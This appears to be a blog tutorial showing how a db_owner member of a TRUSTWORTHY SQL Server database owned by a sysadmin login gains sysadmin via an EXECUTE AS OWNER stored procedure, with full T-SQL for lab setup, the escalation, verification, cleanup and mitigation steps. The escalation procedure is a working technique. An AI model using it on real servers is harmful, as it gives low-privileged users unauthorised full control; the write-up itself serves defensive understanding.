In SQL Server, members of a database’s db_owner role can end up getting membership in the sysadmin server level role if the database is set as trustworthy and it’s owned by a login that’s already a member of the sysadmin role.
Setting up and testing
First, I create a database, I set it to trustworthy and make sure it’s owned by SA.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
USE master GO /*Create the databse*/ CREATE DATABASE [PrivEscDB]; GO /*Set the database as trustworthy*/ ALTER DATABASE [PrivEscDB] SET TRUSTWORTHY ON; GO /*Set SA as the database's owner*/ ALTER AUTHORIZATION ON DATABASE::[PrivEscDB] TO [sa]; GO |
Note: it’s not mandatory for the database to be owned by SA. For this to work, the database can be owned by any other login that’s already a member of the sysadmin role.
Then I create a login, a database-level user for that login, and I add the user to the db_owner role.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/*Create the login*/ CREATE LOGIN [PrivEscLogin] WITH PASSWORD = N'S0m3Pa22', CHECK_POLICY = OFF, CHECK_EXPIRATION = OFF; GO USE [PrivEscDB] GO /*Create db user for login*/ CREATE USER [PrivEscLogin] FOR LOGIN [PrivEscLogin]; GO /*Add user to the db_owner fixed databse-level role*/ ALTER ROLE [db_owner] ADD MEMBER [PrivEscLogin]; GO |
In order to test, I connect to my test instance using PrivEscLogin and validate my connection.
Note: everything beyond this point will be executed by the PrivEscLogin user.
|
1 2 3 4 |
SELECT SUSER_NAME() AS [LoginName], USER_NAME() AS [DBUserName], IS_SRVROLEMEMBER(N'sysadmin') AS [IsSysAdmin], DB_NAME() AS [DatabaseName]; |
In order to achieve privilege escalation I just need to create and execute the following procedure.
|
1 2 3 4 5 |
CREATE PROCEDURE sp_PrivilegeEscalation WITH EXECUTE AS OWNER AS ALTER SERVER ROLE [sysadmin] ADD MEMBER [PrivEscLogin]; GO |
The procedure is set to EXECUTE AS OWNER, which is specifically what makes this work.
This specifies the statements inside the module executes in the context of the current owner of the module. If the module doesn’t have a specified owner, the owner of the module’s schema is used.
In this case, that’s dbo, since the stored procedure will be created in the default schema. And the database-level user dbo maps to the owner of the database, which is SA.
So the procedure executes with all the permissions of SA, regardless of the login actually executing it.
Now I just have to execute the stored procedure.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/*Check user, login and role-membership pre-exec*/ SELECT SUSER_NAME() AS [LoginName], USER_NAME() AS [DBUserName], IS_SRVROLEMEMBER(N'sysadmin') AS [IsSysAdmin], DB_NAME() AS [DatabaseName]; /*Execute procedure*/ EXEC sp_PrivilegeEscalation; /*Check user, login and role-membership post-exec*/ SELECT SUSER_NAME() AS [LoginName], USER_NAME() AS [DBUserName], IS_SRVROLEMEMBER(N'sysadmin') AS [IsSysAdmin], DB_NAME() AS [DatabaseName]; |
I run the above T-SQL in one go so that the changes are noticeable in the output.
Cleanup:
|
1 2 3 4 |
DROP DATABASE [PrivEscDB]; GO DROP LOGIN [PrivEscLogin]; GO |
Mitigation
Microsoft recommends avoiding setting a database as trustworthy, but if you absolutely have to, there are a few steps you should take to mitigate this:
- Create a dedicated role that would be used instead of db_owner
- Add the role to the db_datareader, db_datawriter, and db_ddladmin roles
- Grant EXECUTE to that role (this will cover all existing and future stored procedures)
- Grant EXECUTE tot the role an all scalar-valued functions
- Grant SELECT to the role on all table-valued functions
- Remove user(s) from the db_owner role
- Add user(s) to the newly created role
Leave a Reply